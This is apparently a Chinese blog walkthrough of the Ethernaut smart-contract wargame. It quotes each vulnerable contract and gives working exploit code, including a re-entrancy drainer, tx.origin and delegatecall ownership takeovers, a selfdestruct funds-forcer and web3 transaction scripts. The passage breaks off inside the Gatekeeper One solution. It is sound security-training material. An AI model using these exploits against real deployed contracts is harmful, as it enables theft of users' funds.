0%

智能合约漏洞靶场——Ethernaut

Solidity基础可以先看这个互动式教程:https://cryptozombies.io/zh/ ,以及https://solidity-by-example.org/

Ethernaut是一个智能合约漏洞靶场

项目地址:https://github.com/OpenZeppelin/ethernaut

在线靶场:https://ethernaut.openzeppelin.com

Hello Ethernaut

获取Rinkeby测试网Ether可以到下面两个网站

https://faucets.chain.link/rinkeby

https://faucet.rinkeby.io/

第一关照着提示熟悉下题目操作流程即可

1
2
3
4
5
6
7
8
9
await contract.info()
await contract.info1()
await contract.info2('hello')
await contract.infoNum()
await contract.info42()
await contract.theMethodName()
await contract.method7123949()
await contract.password()
await contract.authenticate('ethernaut0')

Fallback

This level walks you through the very basics of how to play the game.

You will beat this level if

  1. you claim ownership of the contract

  2. you reduce its balance to 0

    Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units (see help() command)
  • Fallback methods

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Solution

构造函数中初始化创建者的贡献值为1000 Ether,可以通过contribute()函数增加自己的贡献值,但由于数量限制不是很可行

合约可以有一个未命名的函数,这个函数不能有参数也不能有返回值,如果在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数(fallback函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback函数必须标记为payable

solidity 0.6.0之后,fallback函数已经被拆分为一个使用 fallback 关键字定义的回退函数 和 使用关键字 receive 定义的接受以太函数。

  • If present, the receive ether function is called whenever the call data is empty (whether or not ether is received). This function is implicitly payable.
  • The new fallback function is called when no other function matches (if the receive ether function does not exist then this includes calls with empty call data). You can make this function payable or not. If it is not payable then transactions not matching any other function which send value will revert. You should only need to implement the new fallback function if you are following an upgrade or proxy pattern.

所以先通过contribute()函数使contributions[msg.sender] > 0,然后直接向合约转账即可让owner变成自己

1
2
await contract.contribute({value: toWei("0.0001")})
await contract.sendTransaction({value: toWei("0.001")})

image-20211204213024493

Fallout

Claim ownership of the contract below to complete this level.

Things that might help

  • Solidity Remix IDE

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

Solution

Solidity 0.4.22 之前的构造函数是和合约同名的(0.4.22及之后都采用constructor(…) {…}来声明构造函数),它只在合约创建时执行一次,题目代码中将function Fallout() public payable书写为function Fal1out() public payable,即变成了一个普通函数,导致可以在外部自由调用,从而改变owner

1
await contract.Fal1out();

image-20211204150650577

代码还有另外一个问题,首先allocations[allocator]的值来自用户调用allocate存入的数额, sendAllocation 函数可以向allocator地址转账,金额为allocations[allocator],但是转账后并未清空allocations[allocator],导致可以一直让合约账户转账,如下演示

Ethernaut Player address : 0x169C51C027B82267387429C0E8b47C6879A4Fb5d
Contract Instance address : 0xa15Accd5E15Fe52018967adFC702C5Afea6fe9D7
Another address : 0xdd7587F01659246E942148b70F2bCeD28aB8bC23

先调用allocate向合约账户转入一些ETH

1
await contract.allocate({value: toWei("0.1")})

然后通过web3用另一个账户也向合约转账

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const Web3 = require('web3')
var Tx = require('ethereumjs-tx').Transaction
const rpcURL = '' // RPC URL
const web3 = new Web3(rpcURL)

const abi = [{"inputs":[],"name":"Fal1out","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"allocate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"allocator","type":"address"}],"name":"allocatorBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectAllocations","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"allocator","type":"address"}],"name":"sendAllocation","outputs":[],"stateMutability":"nonpayable","type":"function"}]
const contractAddress = "0xa15Accd5E15Fe52018967adFC702C5Afea6fe9D7" //合约地址
const contract = new web3.eth.Contract(abi, contractAddress)

const account = '0xdd7587F01659246E942148b70F2bCeD28aB8bC23'
const privateKey = Buffer.from('','hex')

web3.eth.getTransactionCount(account, (err, txCount) => {
const txObject = {
nonce: web3.utils.toHex(txCount),
gasLimit: web3.utils.toHex(8000000),
gasPrice: web3.utils.toHex(web3.utils.toWei('10', 'gwei')),
to: contractAddress,
data: contract.methods.allocate().encodeABI(),
value: web3.utils.toHex(web3.utils.toWei('0.101', 'ether')),
}

const tx = new Tx(txObject,{ chain: 'rinkeby', hardfork: 'petersburg' })
tx.sign(privateKey)

const serializedTx = tx.serialize()
const raw = '0x' + serializedTx.toString('hex')

web3.eth.sendSignedTransaction(raw, (err, txHash) => {
console.log('err:', err)
console.log('txHash:', txHash)
})
})

contract.methods.allocatorBalance("0x169C51C027B82267387429C0E8b47C6879A4Fb5d").call((err, result) => { console.log(result) })
contract.methods.allocatorBalance(account).call((err, result) => { console.log(result) })

image-20211204162511155

查看合约0x169C51C027B82267387429C0E8b47C6879A4Fb5d转入了两次,共0.101 Ether,0xdd7587F01659246E942148b70F2bCeD28aB8bC23转入了3次,共0.202 Ether,合约账户共0.303 Ether

image-20211204163212237

调用sendAllocation()3次刚好可将合约账户全部Ether转入0x169C51C027B82267387429C0E8b47C6879A4Fb5d

1
await contract.sendAllocation("0x169C51C027B82267387429C0E8b47C6879A4Fb5d")

image-20211204164548931

image-20211204164600834

image-20211204164854035

Coin Flip

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

  • See the Help page above, section “Beyond the console”

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Solution

block.number (uint):获取当前块高度,subdivSafeMath中的方法(减,整除),blockhash(uint blockNumber) returns (bytes32) :给定块的哈希,仅适用于最近256个块,revert():中止执行并还原状态更改

代码逻辑为

  • 获取上一块的哈希
  • 判断与上一次运行flip函数时得到的哈希是否相同,相同则中止
  • 记录得到的哈希
  • 用得到的哈希整除FACTOR(uint256取值范围为[0,2^256-1],FACTOR为2^255),结果只会是1或0
  • 以整除的结果作为判断条件

代码尝试用blockhash(block.number.sub(1))生成随机数,然而并非随机,其实是可预测的

一个交易是被打包在一个区块里的,通过 Attack 合约去调用 CoinFlip 合约,那么他们的区块信息都是一样的,执行10次exploit()函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.6.0;

abstract contract CoinFlip {
function flip(bool _guess) virtual public returns (bool);
}

contract Attack {
CoinFlip coinFlip = CoinFlip(0x7F0FC6F70B87B7D8C775D065FA706EAC2e6E1A03);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function exploit() public returns(bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 flip = blockValue / FACTOR;
bool side = flip == 1 ? true : false;
return coinFlip.flip(side);
}
}

image-20211204191726341

CoinFlip:

image-20211204192252584

Attack:

image-20211204192344309

image-20211204192357438

Telephone

Claim ownership of the contract below to complete this level.

Things that might help

  • See the Help page above, section “Beyond the console”

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Solution

tx.origin 是交易的发送方,必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址;msg.sender 是消息的发送方,也可以说是函数的直接调用方,在用户手动调用该函数时是发起调用的账户地址,但也可以是调用该函数的一个智能合约的地址

用户可以通过另一个合约 Attack 来调用目标合约中的 changeOwner(),此时,tx.origin 为用户,msg.senderAttack,即可绕过条件,成为 owner

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity ^0.6.0;

abstract contract Telephone {
function changeOwner(address _owner) virtual public ;
}

contract Attack {
Telephone telephone = Telephone(0x4077264AbFd7Dc4c88E78fdD1cf440cfa1994221);

function exploit() public {
telephone.changeOwner(0x169C51C027B82267387429C0E8b47C6879A4Fb5d);
}
}

部署该合约,调用exploit()即可

Telephone

image-20211204220749115

Attack

image-20211204220851923

image-20211204220904318

tx.originmsg.sender混淆可能会导致类似于Ethereum Wallet Frontier的钓鱼攻击

Token

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

Solution

整数溢出问题,uint 实际上是 uint256, 一个256位的无符号整数,即必然大于等于0。两个无符号整数相减,结果依然是无符号整数,balances[msg.sender] - _value >= 0恒成立,可以向其他地址转账任意金额,也可以通过整数下溢使自己账户得到很大金额

image-20211204225829991

溢出问题在solidity中很常见,为了避免这类问题可以使用以下语句进行检查

1
2
3
if(a + c > a) {
a = a + c;
}

也可以使用OpenZeppelin的SafeMath库,该库自动检查所有数学运算符中的溢出,如果出现溢出,代码将revert

1
a = a.add(c);

Delegation

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

Solution

目标是成为合约的owner,准确来说是成为Delegation合约的owner,对于Delegate而言,直接调用其pwn()函数即可,从Ethernaut靶场源码也可以看到给出的关卡实例是Delegation合约

image-20211205151447286

想获取Delegate地址可以用web3的getStorageAt

1
web3.eth.getStorageAt(instance, 1 ,function(err,res){console.info(err,res)})

Delegatecall / Callcode and Libraries

There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.
This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.
This makes it possible to implement the “library” feature in Solidity: Reusable library code that can be applied to a contract’s storage, e.g. in order to implement a complex data structure.

参考以太坊 Solidity 合约 call 函数簇滥用导致的安全风险分析,使用delegatecall调用后内置变量msg的值不会修改为调用者,但执行环境为调用者的运行环境,也就是说在Delegation中执行<Delegate.address>.delegatecall(bytes4(keccak256("pwn()")));就可将Delegationowner设为自己,注意这里并不是因为变量名都为owner所以可以修改,而是在两个合约中,owner都处于相同的槽位,详见Solidity的delegatecall()对状态变量存储的影响

fallback()函数的触发条件:

  • 合约中没有相应的函数匹配(调用的函数不存在)
  • 合约收到别人发送的Ether且没有数据,此时 fallback() 需要带有 payable 标记,否则revert

综上,发送交易触发 Delegation 合约的 fallback() 函数,同时设置 datapwn 函数的标识符即可(data 头4个byte是被调用方法的签名哈希,即 bytes4(keccak256("func")) , remix 里调用函数,实际是向合约账户地址发送了msg.data[0:4] 为函数签名哈希的一笔交易)

1
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})

image-20211205163154978

使用web3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const Web3 = require('web3')
const rpcURL = '***' // RPC URL
const web3 = new Web3(rpcURL)
var Tx = require('ethereumjs-tx').Transaction

const contractAddress = "0x78E07752555D94fFa95cC228E15627CA3804A3c8" //合约地址

const account = '0xdd7587F01659246E942148b70F2bCeD28aB8bC23'
const privateKey = Buffer.from('***','hex')

web3.eth.getTransactionCount(account, (err, txCount) => {
const txObject = {
nonce: web3.utils.toHex(txCount),
gasLimit: web3.utils.toHex(8000000),
gasPrice: web3.utils.toHex(web3.utils.toWei('10', 'gwei')),
to: contractAddress,
data: 0xdd365b8b, //bytes4(keccak256("pwn()"))
}

const tx = new Tx(txObject,{ chain: 'rinkeby' })
tx.sign(privateKey)

const serializedTx = tx.serialize()
const raw = '0x' + serializedTx.toString('hex')

web3.eth.sendSignedTransaction(raw, (err, txHash) => {
console.log('err:', err)
console.log('txHash:', txHash)
})
})

一个实际案例The Parity Wallet Hack Explained

Force

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

Sources

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

Solution

需要让合约的balance大于0。尝试直接向合约转账的话会被revert(没有receive()也没有payable修饰的fallback()函数)

image-20211205134428192

不过可以通过selfdestruct强行转账

selfdestruct(address payable recipient): destroy the current contract, sending its funds to the given address

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.6.0;

contract ForceAttack {

constructor() public payable {}
receive() external payable {}

function attack(address payable target) public {
selfdestruct(target);
}
}

image-20211205140506104

image-20211205140250560

Vault

Unlock the vault to pass the level!

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Solution

password被设置为private,无法被其他合约直接访问,但是区块链上的所有信息是公开的,可以借助web3的getStorageAt来访问

1
web3.eth.getStorageAt(instance, 1 ,function(err,res){console.info(err,web3.utils.toAscii(res))})

image-20211205143345839

密码是A very strong secret password :)

1
await contract.unlock(web3.utils.asciiToHex("A very strong secret password :)"))

image-20211205144246292

为了确保数据是私有的,需要在将其放入区块链之前对其进行加密。在这种情况下,解密密钥永远不应该在链上发送,因为它将对任何寻找它的人可见。zk-SNARKs提供了一种无需公开参数确定某人是否拥有秘密参数的方法

King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

Solution

转账金额大于当前prize即可成为king,然而如下代码可知,提交instance时,题目作为owner会重新夺回king,通关条件是阻止题目重新成为king

image-20211205214625649

Solidity的三种转账方式:

  • <address payable>.transfer(uint256 amount)

    当发送失败时会 throw ,回滚状态

    只会传递部分 Gas 供调用,防止重入

  • <address payable>.send(uint256 amount) returns (bool)

    当发送失败时会返回 false
    只会传递部分 Gas 供调用,防止重入

  • <address payable>.call.value()()

    当发送失败时会返回 false
    传递所有可用 Gas 供调用,不能有效防止重入

题目通过king.transfer(msg.value);向之前的king转账,transfer这种方式失败会throws 错误,无法继续执行下面的代码,所以只要让转账时出错,就不会产生新的king。另外我们知道,如果向一个没有 fallback 函数的合约,或 fallback 不带 payable 的合约发送 Ether,则会报错。

先看一下当前的prize

1
await fromWei((await contract.prize()))

image-20211205222034688

部署以下合约,调用doYourThing函数,传入实例地址和1.001 Ether

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract KingAttack {

function doYourThing(address _target) public payable {
(bool result,) = _target.call.value(msg.value)("");
if(!result) revert();
}

// OMG NO PAYABLE FALLBACK!!
}

image-20211205224256248

可以看到king已经变成了刚部署的合约的地址

image-20211205224553899

提交实例后,king依然不变

Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

Solution

代码中使用的这种方式转账msg.sender.call{value:_amount}("");会传递所有可用 Gas 进行调用,从而造成重入漏洞。

拿上面的代码简单解释一下重入漏洞就是如果调用withdraw函数向一个合约转账,合约接收Ether会调用receive函数(或者fallback),那么只要在receive中再次调用withdraw,那么合约会再次进行转账并且不会执行到msg.sender.call{value:_amount}("")下方更改账户余额的语句balances[msg.sender] -= _amount,图示如下:

img

部署以下ReentranceAttack合约(部署时传入1Ether)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.2;

abstract contract Reentrance {
function donate(address _to) virtual public payable ;
function withdraw(uint _amount) virtual public ;
}

contract ReentranceAttack {
address payable owner;
Reentrance target;

constructor(address payable _target) public payable {
target = Reentrance(_target);
owner = msg.sender;
}

function attack() public {
target.donate{value:1 ether}(address(this));
target.withdraw(1 ether);
}

function withdraw() public {
owner.transfer(address(this).balance);
}

receive() external payable {
target.withdraw(1 ether);
}
}

image-20211209085431565

然后调用attack函数,注意GAS要设置大一点,否则重入时会调用失败

image-20211208235728789

为了防止重入漏洞,最好采用Checks-Effects-Interactions模式,即先检查,然后更改合约状态变量,最后才与其他合约交互。

Elevator

This elevator won’t let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Solution

要求是使toptrue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;

abstract contract Elevator {
function goTo(uint _floor) virtual public;
}

interface Building {
function isLastFloor(uint) external returns (bool);
}

contract ElevatorAttack is Building{
bool public isLast = true;

function isLastFloor(uint) override external returns (bool) {
isLast = ! isLast;
return isLast;
}

function attack(address _victim) public {
Elevator elevator = Elevator(_victim);
elevator.goTo(10);
}
}

这道题目原来是function isLastFloor(uint) view public returns (bool);考点是Solidity 编译器没有强制执行 view 函数不能修改状态

Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Solution

EVM 虚拟机是一个256位的机器,所以它的一个存储位是 32 个字节,常量不存储,仅在代码中可用。当变量所占空间小于 32 字节且如果加上后面的变量也不超过 32 字节的话,则会与后面的变量共享空间。

How to read Ethereum contract storage

1
2
3
4
5
6
bool public locked = true;								// 1字节
uint256 public ID = block.timestamp; // 32字节
uint8 private flattening = 10; // 1字节
uint8 private denomination = 255; // 1字节
uint16 private awkwardness = uint16(now); // 2字节
bytes32[3] private data; // 32*3字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
web3.eth.getStorageAt(instance, 0 ,function(err,res){console.info(res)})
//0x0000000000000000000000000000000000000000000000000000000000000001
web3.eth.getStorageAt(instance, 1 ,function(err,res){console.info(res)})
//0x0000000000000000000000000000000000000000000000000000000061b41d10
web3.eth.getStorageAt(instance, 2 ,function(err,res){console.info(res)})
//0x000000000000000000000000000000000000000000000000000000001d10ff0a
web3.eth.getStorageAt(instance, 3 ,function(err,res){console.info(res)})
//0x044d379b78a8d339346bbe58117dfbf39f31c4b26b7aea6414e01c1a5aa0a3cd
web3.eth.getStorageAt(instance, 4 ,function(err,res){console.info(res)})
//0x5e9b0400a5a6b65012c151e1142cc934df2444db82348cb7a96df88e1a03aee8
web3.eth.getStorageAt(instance, 5 ,function(err,res){console.info(res)})
//0xdafa095e2a73eadf05b9ba9325c859ec1a3263470c07f5f16f62e7f30a9ee794
web3.eth.getStorageAt(instance, 6 ,function(err,res){console.info(res)})
//0x0000000000000000000000000000000000000000000000000000000000000000

所以data[2]web3.eth.getStorageAt(instance, 5 ,function(err,res){console.info(res)})的结果, bytes16() 其实就是切片,取前 16 个 字节。

contract.unlock("0xdafa095e2a73eadf05b9ba9325c859ec1a3263470c07f5f16f62e7f30a9ee794".substring(0,34))

Gatekeeper One

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from the Telephone and Token levels.
  • You can learn more about the special function gasleft(), in Solidity’s documentation (see here and here).

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Solution

需要满足3个modifier

  • gateOne()

    Telephone

  • gateTwo()

    在Remix的Javascript VM环境下部署GatekeeperOneAttack然后进入调试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;

    contract GatekeeperOne {

    address public entrant;

    modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
    }

    modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
    }

    modifier gateThree(bytes8 _gateKey) {
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
    require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
    }
    }

    contract GatekeeperOneAttack {

    constructor(address GatekeeperOneContractAddress) public {
    bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
    0x0000000000000000
    );

    address(GatekeeperOneContractAddress).call{gas: 81910}(encodedParams);
    }
    }

    image-20211211214345867

    调用enter函数时传入了81910 gas,到执行gasleft()函数前还剩81661 gas,gasleft()函数本身消耗2 gas,所以我们应该传入的gas为n*8191+(81910-81661+2)

  • gateThree(bytes8 _gateKey)

    • uint32(uint64(_gateKey)) == uint16(tx.origin)

      _gateKey等于bytes8(uint64(tx.origin))&0xFFFFFFFFFF00FFFF即可

    • uint32(uint64(_gateKey)) != uint64(_gateKey)

      _gateKey前4个字节不为0即可,可以|0xFFFFFFFF00000000来确保

    • uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)

      继续&0xFFFFFFFF00FFFFFF

综上_gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF | 0xFFFFFFFF00000000;

设置好的gas在实际测试网中没成功,所以还是采用以下方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperOneAttack {

constructor(address GatekeeperOneContractAddress) public {
bytes8 _gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF | 0xFFFFFFFF00000000;

// NOTE: the proper gas offset to use will vary depending on the compiler
// version and optimization settings used to deploy the factory contract.
// To migitage, brute-force a range of possible values of gas to forward.
// Using call (vs. an abstract interface) prevents reverts from propagating.
